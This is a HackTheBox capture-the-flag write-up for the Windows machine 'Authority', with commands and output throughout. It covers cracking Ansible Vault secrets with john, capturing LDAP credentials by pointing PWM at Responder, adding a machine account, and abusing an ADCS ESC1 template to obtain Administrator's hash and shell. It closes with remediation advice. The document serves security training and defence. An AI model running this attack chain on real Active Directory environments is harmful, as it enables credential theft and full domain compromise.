Overview#
- Platform: HackTheBox
- Difficulty: Medium
- OS: Windows
- Skills: Active Directory, hash-cracking, privilege escalation
this is not an assumed breach
Reconnaissance#
Nmap Scan#
sudo nmap -sC -sV -p- -T4 10.10.11.222 -oN nmap -vv
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-21 01:50:21Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2025-09-21T01:51:19+00:00; +4h01m12s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA/domainComponent=htb
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2025-09-21T01:51:18+00:00; +4h01m11s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA/domainComponent=htb
| Public Key type: rsa
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA/domainComponent=htb
|_ssl-date: 2025-09-21T01:51:19+00:00; +4h01m12s from scanner time.
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA/domainComponent=htb
|_ssl-date: 2025-09-21T01:51:18+00:00; +4h01m11s from scanner time.
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8443/tcp open ssl/http syn-ack ttl 127 Apache Tomcat (language: en)
|_ssl-date: TLS randomness does not represent time
|_http-favicon: Unknown favicon MD5: F588322AAF157D82BB030AF1EFFD8CF9
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
| ssl-cert: Subject: commonName=172.16.2.118
| Issuer: commonName=172.16.2.118
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49690/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49691/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49693/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49694/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49703/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49711/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
50224/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 64473/tcp): CLEAN (Couldn't connect)
| Check 2 (port 17379/tcp): CLEAN (Couldn't connect)
| Check 3 (port 45856/udp): CLEAN (Timeout)
| Check 4 (port 12555/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
| date: 2025-09-21T01:51:10
|_ start_date: N/A
|_clock-skew: mean: 4h01m11s, deviation: 0s, median: 4h01m11s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Add authority.htb and authority.authority.htb to /etc/hosts
Since this isnt an assumed breach, we dont start with any credentials, therefore we have to enumerate smb with null auths first.
crackmapexec smb authority.htb -u '' -p '' --shares
SMB authority.htb 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB authority.htb 445 AUTHORITY [+] authority.htb\:
SMB authority.htb 445 AUTHORITY [-] Error enumerating shares: STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~/htb/authority]
└─$ crackmapexec smb authority.htb -u 'test' -p '' --shares
SMB authority.htb 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB authority.htb 445 AUTHORITY [+] authority.htb\test:
SMB authority.htb 445 AUTHORITY [+] Enumerated shares
SMB authority.htb 445 AUTHORITY Share Permissions Remark
SMB authority.htb 445 AUTHORITY ----- ----------- ------
SMB authority.htb 445 AUTHORITY ADMIN$ Remote Admin
SMB authority.htb 445 AUTHORITY C$ Default share
SMB authority.htb 445 AUTHORITY Department Shares
SMB authority.htb 445 AUTHORITY Development READ
SMB authority.htb 445 AUTHORITY IPC$ READ Remote IPC
SMB authority.htb 445 AUTHORITY NETLOGON Logon server share
SMB authority.htb 445 AUTHORITY SYSVOL Logon server share
Cool, seems we have read access to “Development” which is a non-standard share and could be interesting.
Before we look at that, lets do RID bruting to enum some users/groups.
RID Bruting#
netexec smb authority.htb -u 'test' -p '' --rid-brute
SMB 10.10.11.222 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.222 445 AUTHORITY [+] authority.htb\test: (Guest)
SMB 10.10.11.222 445 AUTHORITY 498: HTB\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 500: HTB\Administrator (SidTypeUser)
SMB 10.10.11.222 445 AUTHORITY 501: HTB\Guest (SidTypeUser)
SMB 10.10.11.222 445 AUTHORITY 502: HTB\krbtgt (SidTypeUser)
SMB 10.10.11.222 445 AUTHORITY 512: HTB\Domain Admins (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 513: HTB\Domain Users (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 514: HTB\Domain Guests (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 515: HTB\Domain Computers (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 516: HTB\Domain Controllers (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 517: HTB\Cert Publishers (SidTypeAlias)
SMB 10.10.11.222 445 AUTHORITY 518: HTB\Schema Admins (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 519: HTB\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 520: HTB\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 521: HTB\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 522: HTB\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 525: HTB\Protected Users (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 526: HTB\Key Admins (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 527: HTB\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 553: HTB\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.222 445 AUTHORITY 571: HTB\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.222 445 AUTHORITY 572: HTB\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.222 445 AUTHORITY 1000: HTB\AUTHORITY$ (SidTypeUser)
SMB 10.10.11.222 445 AUTHORITY 1101: HTB\DnsAdmins (SidTypeAlias)
SMB 10.10.11.222 445 AUTHORITY 1102: HTB\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.222 445 AUTHORITY 1601: HTB\svc_ldap (SidTypeUser)
We only really get 2 users here - svc_ldap and AUTHORITY$
note: RID bruting wasnt absoloutely necessary in this box as you will see later on..
Let’s use Netexec’s spider_plus module to spider the shares we have read access for and see if we can grab anything useful.
netexec smb authority.htb -u 'test' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
SMB 10.10.11.222 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.222 445 AUTHORITY [+] authority.htb\test: (Guest)
SPIDER_PLUS 10.10.11.222 445 AUTHORITY [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.222 445 AUTHORITY [*] DOWNLOAD_FLAG: True
SPIDER_PLUS 10.10.11.222 445 AUTHORITY [*] STATS_FLAG: True
SPIDER_PLUS 10.10.11.222 445 AUTHORITY [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.11.222 445 AUTHORITY [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.222 445 AUTHORITY [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.222 445 AUTHORITY [*] OUTPUT_FOLDER: /home/kali/.nxc/modules/nxc_spider_plus
SMB 10.10.11.222 445 AUTHORITY [*] Enumerated shares
Note i added DOWNLOAD_FLAG=True, to ensure we dont just spider the shares but also download them all to a folder on our kali machine.
Ansible Vault#
cd Development
┌──(kali㉿kali)-[~/htb/authority/10.10.11.222/Development]
└─$ ls
Automation
┌──(kali㉿kali)-[~/htb/authority/10.10.11.222/Development]
└─$ cd Automation
┌──(kali㉿kali)-[~/…/authority/10.10.11.222/Development/Automation]
└─$ ls
Ansible
┌──(kali㉿kali)-[~/…/authority/10.10.11.222/Development/Automation]
└─$ cd Ansible
┌──(kali㉿kali)-[~/…/10.10.11.222/Development/Automation/Ansible]
└─$ ls
ADCS LDAP PWM SHARE
PWM is an open source password self service application for LDAP directories. PWM is an ideal candidate for organizations that wish to “roll their own” password self service solution, but do not wish to start from scratch.
ls
ansible.cfg defaults meta tasks
ansible_inventory handlers README.md templates
┌──(kali㉿kali)-[~/…/Development/Automation/Ansible/PWM]
└─$ cd defaults
┌──(kali㉿kali)-[~/…/Automation/Ansible/PWM/defaults]
└─$ ls
main.yml
┌──(kali㉿kali)-[~/…/Automation/Ansible/PWM/defaults]
└─$ cat main.yml
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"
pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true
pwm_require_ssl: false
pwm_admin_login: !vault |
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438
pwm_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531
ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
63303831303534303266356462373731393561313363313038376166336536666232626461653630
3437333035366235613437373733316635313530326639330a643034623530623439616136363563
34646237336164356438383034623462323531316333623135383134656263663266653938333334
3238343230333633350a646664396565633037333431626163306531336336326665316430613566
3764
Now this is juicy. Ansible is essentially an open-source IT automation tool that automates software configurations, deployement etc etc.
Ansible vault is a feature of Ansible that allows you to encrypt sensitive data like passwords and API tokens within files, preventing them from being stored in plain text and exposed in repositories.
That being said…
Let’s copy each vault key to a .vault file and see if we can run ansible2john to format the .vault files to a .hash file that john will understand and then crack for us.
The goal is to get the vault key to be able to decrypt the hashes inside the .yaml file.
cat pwm_admin_login.vault
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438
ansible2john pwm_admin_login.vault > pwm_admin_login.hash
┌──(kali㉿kali)-[~/…/Automation/Ansible/PWM/defaults]
└─$ cat pwm_admin_login.hash
pwm_admin_login.vault:$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8
We can then use john to crack the hash
john pwm_admin_login.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&* (pwm_admin_login.vault)
!@#$%^&* - vault key
Repeating these steps for each vault hash gave me the same vault key for each one, meaning this is a global vault key we can use to view each individual .vault file we created with the hashes.
Store the vault key in a file somewhere for automation -
printf '%s\n' '!@#$%^&*' > /tmp/vault-pass.txt
chmod 600 /tmp/vault-pass.txt
cat /tmp/vault-pass.txt
!@#$%^&*
Decrypt
ansible-vault view pwm_admin_login.vault --vault-password-file=/tmp/vault-pass.txt
svc_pwm
┌──(kali㉿kali)-[~/…/Automation/Ansible/PWM/defaults]
└─$ ansible-vault view pwm_admin_password.vault --vault-password-file=/tmp/vault-pass.txt
pWm_@dm!N_!23
┌──(kali㉿kali)-[~/…/Automation/Ansible/PWM/defaults]
└─$ ansible-vault view ldap_admin_password.vault --vault-password-file=/tmp/vault-pass.txt
DevT3st@123
Variables decrypted -
pwm_admin_login = svc_pwm
pwm_admin_password = pWm_@dm!N_!23
ldap_admin_password = DevT3st@123
Lets navigate to the webserver running on port 8443…
https://10.10.11.222:8443/

The credentials we decrypted dont work for the main login page, but the pwm_admin_password value works for both of the configuration pages.
We can download the localDB within the Configuration manager, but the hash we get inside of it we already know so lets move on to the Configuration editor.
here we can see all of the configurations of LDAP in pwm and change them accordingly.
Going through them all, nothing exciting stands out… I tried adding a couple custom upns into them but nothing worked.
Here however we can see “LDAP URLs” . You can also see the LDAP Proxy User is svc_ldap.
When interacting with the “Test LDAP Profile” pwm attempts to authenticate to the LDAP URL set with the proxy user set.
We will change the LDAP URL to our own ip address and attempt to try to gain a connection back with credentials.
Its worth noting that instead of “ldaps” and port “636” which are the encrypted ldap authentications, we should use “ldap” and port “389” in order to gain the credentials in cleartext.

NTLM Relay#
lets now start responder, and interact with the test button and see if we get anything back.
$ sudo responder -I tun0 -v
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.22]
Responder IPv6 [dead:beef:2::1014]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-8XJ2TJRQVIT]
Responder Domain Name [1BA8.LOCAL]
Responder DCE-RPC Port [45337]
[*] Version: Responder 3.1.7.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[*] To sponsor Responder: https://paypal.me/PythonResponder
[+] Listening for events...

lDaP_1n_th3_cle4r!
user.txt#
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> cd ..
*Evil-WinRM* PS C:\Users\svc_ldap> dir
Directory: C:\Users\svc_ldap
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 3/24/2023 11:27 PM 3D Objects
d-r--- 3/24/2023 11:27 PM Contacts
d-r--- 6/28/2023 6:38 PM Desktop
d-r--- 9/21/2025 9:32 AM Documents
d-r--- 3/24/2023 11:27 PM Downloads
d-r--- 3/24/2023 11:27 PM Favorites
d-r--- 3/24/2023 11:27 PM Links
d-r--- 3/24/2023 11:27 PM Music
d-r--- 3/24/2023 11:27 PM Pictures
d-r--- 3/24/2023 11:27 PM Saved Games
d-r--- 3/24/2023 11:27 PM Searches
d-r--- 3/24/2023 11:27 PM Videos
*Evil-WinRM* PS C:\Users\svc_ldap> cd desktop
*Evil-WinRM* PS C:\Users\svc_ldap\desktop> dir
Directory: C:\Users\svc_ldap\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/20/2025 9:48 PM 34 user.txt
Let’s enumerate our new user with BloodHound
BloodHound#
faketime '2025-09-21 18:41:30' bloodhound-ce-python -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -d authority.htb -ns 10.10.11.222 -c All --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: authority.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: authority.authority.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: authority.authority.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 5 users
INFO: Found 52 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 21 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: authority.authority.htb
INFO: Done in 00M 04S
INFO: Compressing output into 20250921184131_bloodhound.zip


I cant lie, i laughed when i saw this. yeah…. since this would be insanely easy, lets do it the intended way or we wont learn anything.
Certipy-AD (ADCS)#
certipy-ad find -vulnerable -u svc_ldap -password 'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222 -hide-admins -stdout
Certificate Authorities
0
CA Name : AUTHORITY-CA
DNS Name : authority.authority.htb
Certificate Subject : CN=AUTHORITY-CA, DC=authority, DC=htb
Certificate Serial Number : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
Certificate Validity Start : 2023-04-24 01:46:26+00:00
Certificate Validity End : 2123-04-24 01:56:25+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Access Rights
Enroll : AUTHORITY.HTB\Authenticated Users
[+] User Enrollable Principals : AUTHORITY.HTB\Authenticated Users
[+] User ACL Principals : AUTHORITY.HTB\Administrators
[!] Vulnerabilities
ESC7 : User has dangerous permissions.
Certificate Templates
0
Template Name : CorpVPN
Display Name : Corp VPN
Certificate Authorities : AUTHORITY-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollmentCheckUserDsCertificate
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Document Signing
IP security IKE intermediate
IP security use
KDC Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 20 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2023-03-24T23:48:09+00:00
Template Last Modified : 2023-03-24T23:48:11+00:00
Permissions
Enrollment Permissions
Enrollment Rights : AUTHORITY.HTB\Domain Computers
[+] User Enrollable Principals : AUTHORITY.HTB\Domain Computers
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
for the next steps we need the administrator SID along with a couple other things, so lets request it via certipy.
certipy-ad account -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -dc-ip '10.10.11.222' -user 'administrator' read
[*] Reading attributes for 'Administrator':
cn : Administrator
distinguishedName : CN=Administrator,CN=Users,DC=authority,DC=htb
name : Administrator
objectSid : S-1-5-21-622327497-3269355298-2248959698-500
sAMAccountName : Administrator
userAccountControl : 66048
whenCreated : 2022-08-09T22:53:10+00:00
whenChanged : 2025-09-21T01:47:33+00:00
Now that we’ve done that, the next step is to request the certificate. However, our current user does not have enrollment rights for this.
as shown before “Enrollment Rights: Domain Computers" Therefore, we need to create a computer account and request one with that.
impacket-addcomputer 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!' -method LDAPS -computer-name beejaysec -computer-pass Password123 -dc-ip 10.10.11.222
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account beejaysec$ with password Password123.
Now we request the certificate
certipy-ad req \
-u 'beejaysec$@authority.htb' -p 'Password123' \
-dc-ip '10.10.11.222' -target 'authority.htb' \
-ca 'AUTHORITY-CA' -template 'CorpVPN' \
-upn 'administrator@authority.htb' -sid 'S-1-5-21-622327497-3269355298-2248959698-500'
[*] Requesting certificate via RPC
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@authority.htb'
[*] Certificate object SID is 'S-1-5-21-622327497-3269355298-2248959698-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
now lets try to authenticate with that certificate as administrator
faketime '2025-09-21 19:16:22' certipy-ad auth -pfx "administrator.pfx" -dc-ip '10.10.11.222' -domain authority.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@authority.htb'
[*] SAN URL SID: 'S-1-5-21-622327497-3269355298-2248959698-500'
[*] Security Extension SID: 'S-1-5-21-622327497-3269355298-2248959698-500'
[*] Using principal: 'administrator@authority.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@authority.htb': REDACTED
root.txt#
evil-winrm -i authority.htb -u administrator -H REDACTED
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> dir
Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/20/2025 9:48 PM 34 root.txt
New attack methods learned#
- ADCS ESC1 attack chain
- cracking Ansible vaults and using them for credential reuse
Possible Remediations#
- Lock down file shares — remove anonymous/guest access; require domain authentication; apply ACLs so only specific admin/service accounts can read sensitive shares.
- Restrict template permissions — remove unnecessary Enroll/Autoenroll rights from low-privilege users/groups. Only explicitly trusted accounts (and required services) should be able to request or enroll certificates.
